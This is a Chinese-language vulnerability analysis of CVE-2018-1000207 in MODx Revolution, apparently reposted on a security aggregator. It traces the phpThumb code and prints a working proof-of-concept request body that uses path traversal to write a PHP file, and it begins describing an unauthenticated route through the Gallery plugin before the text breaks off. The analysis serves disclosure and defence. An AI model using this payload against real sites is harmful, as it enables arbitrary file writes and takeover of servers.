Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Modx Revolution远程代码执行漏洞CVE-2018-1000207

$
0
0

【漏洞分析】Modx Revolution远程代码执行漏洞CVE-2018-1000207

阅读: 9

近日, MODx 官方发布通告称其 MODx Revolution 2.6.4 及之前的版本存在2个高危漏洞,攻击者可以通过该漏洞远程执行任意代码,从而获取网站的控制权或者删除任意文件。 本文分析其中的 CVE-2018-1000207 漏洞,并分别分析MODx 2.5.1和2.6.4版本漏洞形成原因和PoC构造。

文章目录

0x01 概述

近日, MODx 官方发布通告称其 MODx Revolution 2.6.4 及之前的版本存在2个高危漏洞,攻击者可以通过该漏洞远程执行任意代码,从而获取网站的控制权或者删除任意文件。 本文分析其中的 CVE-2018-1000207 漏洞,并分别分析MODx 2.5.1和2.6.4版本漏洞形成原因和PoC构造。

0x02 环境搭建

分别安装 MODx 2.5.1 和 2.6.4 版本

0x03 漏洞分析 2.5.1版本

漏洞发生在 phpthumb 模块,该模块的作用是提供缩略图对象


【漏洞分析】Modx Revolution远程代码执行漏洞CVE-2018-1000207

当我们把光标放到文件系统中的图片上的时候,可以看到弹出了图片的缩略图,此时就调用了 phpthumb 接口

请求接口类似这样

http://127.0.0.1/connectors/system/phpthumb.php?src=1.png&w=116&h=0&HTTP_MODAUTH=modx5b5067d920ba81.94108199_15b513c49743c49.16917110&f=png&q=90&wctx=mgr&source=1

可以看到几个参数描述了图片的一些基本属性,这些属性在 core/model/phpthumb/phpthumb.class.php 中定义

// public: // START PARAMETERS (for object mode and phpThumb.php) // See phpthumb.readme.txt for descriptions of what each of these values are var $src= null; // SouRCe filename var $new= null; // NEW image (phpThumb.php only) var $w= null; // Width var $h= null; // Height var $wp = null; // Width(Portrait Images Only) var $hp = null; // Height (Portrait Images Only) var $wl = null; // Width(Landscape Images Only) var $hl = null; // Height (Landscape Images Only) // private: (should not be modified directly) var $sourceFilename = null; var $rawImageData = null; var $IMresizedData= null; var $outputImageData= null; var $useRawIMoutput = false;

从定义中也能看到, phpthumb 提供了两种类型的参数: public 和 private

public 就是普通属性,包括图片长宽高等, private 则是一些私有属性,包括缓存目录,文件类型等,此次漏洞形成的关键就是程序并没有对两种类型的参数区分处理,以至于我们可以直接传入私有参数控制其中的变量值,从而改变程序执行逻辑。

当我们请求这个接口的时候,会访问 modSystemPhpThumbProcessor() 类,其中的 process() 方法:

public function process() { $src = $this->getProperty('src'); if (empty($src)) return $this->failure(); $this->unsetProperty('src'); $this->getSource($this->getProperty('source')); if (empty($this->source)) $this->failure($this->modx->lexicon('source_err_nf')); $src = $this->source->prepareSrcForThumb($src); if (empty($src)) return ''; $this->loadPhpThumb(); /* set source and generate thumbnail */ $this->phpThumb->set($src); /* check to see if there's a cached file of this already */ if ($this->phpThumb->checkForCachedFile()) { $this->phpThumb->loadCache(); return ''; } /* generate thumbnail */ $this->phpThumb->generate(); /* cache the thumbnail and output */ $this->phpThumb->cache(); $this->phpThumb->output(); return ''; }

可以看到里面的几个主要操作,包括检查文件是否被缓存,以及读取缓存,设置缓存等,我们利用的就是 phpthumb 设置缓存的方法 phpThumb->cache()

public function cache() { phpthumb_functions::EnsureDirectoryExists(dirname($this->cache_filename)); if ((file_exists($this->cache_filename) && is_writable($this->cache_filename)) || is_writable(dirname($this->cache_filename))) { $this->CleanUpCacheDirectory(); if ($this->RenderToFile($this->cache_filename) && is_readable($this->cache_filename)) { chmod($this->cache_filename, 0644); $this->RedirectToCachedFile(); } } }

这里面关键的方法是 RenderToFile() ,可以看到它接收参数 $this->cache_filename ,那么我们可以直接传入 cache_filename 这个变量值。

function RenderToFile($filename) { $renderfilename = $filename; //一系列检查 if ($this->RenderOutput()) { if (file_put_contents($renderfilename, $this->outputImageData)) { $this->DebugMessage('RenderToFile('.$renderfilename.') succeeded', __FILE__, __LINE__); return true; } //... return false; }

RenderToFile() 方法里有 file_put_contents() 函数,文件名是我们传入的 cache_filename ,文件内容是 $this->outputImageData 。如果对内容没有校验的话意味着我们可以写入任意内容,前提是满足 $this->RenderOutput() 为真,进去看一下 RenderOutput()

function RenderOutput() { //... if ($this->useRawIMoutput) { $this->DebugMessage('RenderOutput copying $this->IMresizedData ('.strlen($this->IMresizedData).' bytes) to $this->outputImage', __FILE__, __LINE__); $this->outputImageData = $this->IMresizedData; return true; } //... }

在这里我们需要满足 $this->useRawIMoutput 为真,而这个变量默认值为 false 。实际上 useRawIMoutput 即为我们提到的私有变量,程序虽然默认定义了私有变量的值,但我们还是可以通过 post 把值直接传进去,同时这里也没有检验文件的内容,直接把 $this->IMresizedData 赋值为 $this->outputImageData ,也就是 file_put_contents() 所需要的第二个参数,所以到这里就能构成一个任意文件写入的漏洞。

构造PoC:

cache_filename=../../../payload.php&src=.&ctx=web&useRawIMoutput=1&config_prefer_imagemagick=0&outputImageData=<?php phpinfo();?>

需要特别注意的是,此处的 cache_filename 与网站相对路径密切相关,往上目录穿越少了反而不能写入文件,而在windows下测试可以写入Web根目录以外的目录,因为程序内部虽然检查了目录写权限,却并没有限制一个根目录,所以严格来说这里还存在一个目录穿越漏洞。

这个利用在MODX 2.5.1版本及之前可以无需登录直接利用,而在2.6.4版本进行了更严格的权限检查,在处理请求之前增加了这样一段判断代码:

core/model/modx/modconnectorresponse.class.php outputContent() 方法

/* Block the user if there's no user token for the current context, and permissions are in fact required */ if (empty($siteId) && (!defined('MODX_REQP') || MODX_REQP === TRUE)) { $this->responseCode = 401; $this->body = $modx->error->failure($modx->lexicon('access_denied'),array('code' => 401)); }

所以在2.6.4版本利用需要登录权限。

2.6.4版本

那么有没有方法在2.6.4版本也能不需要权限直接写入任意文件呢?答案还是有的,只不过网站需要安装一个插件 Gallery

Gallery is a dynamic Gallery Extra for MODx Revolution. It allows you to quickly and easily put up galleries of images, sort them, tag them, and display them in a myriad of ways in the front-end of your site.

简而言之 Gallery 是一个图库,可以更方便地管理网站图片。

在这个库中也有 phpThumb 的相关方法,而且同样有缓存机制,不出意外同样存在任意文件写入漏洞,但是这个方法稍微复杂一些,它把文件写入cache目录,而文件名经过了一个array的反序列化再MD5,这样即使我们能写入文件,却猜不到文件名,因此a2u给出的PoC也没能直接写入文件,而是通过返回包来判断是否存在漏洞。但是经过分析,实际上我们是可以往缓存目录写入一个shell的,而且能够知道保存的文件名,下面来分析一下如何绕过这个看似复杂的流程。


【漏洞分析】Modx Revolution远程代码执行漏洞CVE-2018-1000207

当利用插件上传图片的时候,如果图库中已经有图片,我们就可以看到一张缩略图,请求类似这样

http://127.0.0.1/modx-2.6.4-pl/assets/components/gallery/connector.php?action=web/phpthumb&w=100&h=100&zc=1&src=/modx-2.6.4-pl/assets/gallery/1/cover.png&time=1532596253635

同样的, gallery 的 connector.php 也接收图片属性等 public 参数,但是此处我们并不关心,直接定位到处理写入缓存的文件 core/components/gallery/processors/web/phpthumb.php 。漏洞形成点同样也是 file_put_contents 参数没有经过过滤。

请求在进入 phpthumb.php 之后,首先会把参数设置成一个 array ,放在 $scriptProperties 中,类似这样

array ( 'action' => 'web/phpthumb', 'w' => '100', 'h' => '100', 'z

Viewing all articles
Browse latest Browse all 12749

Trending Articles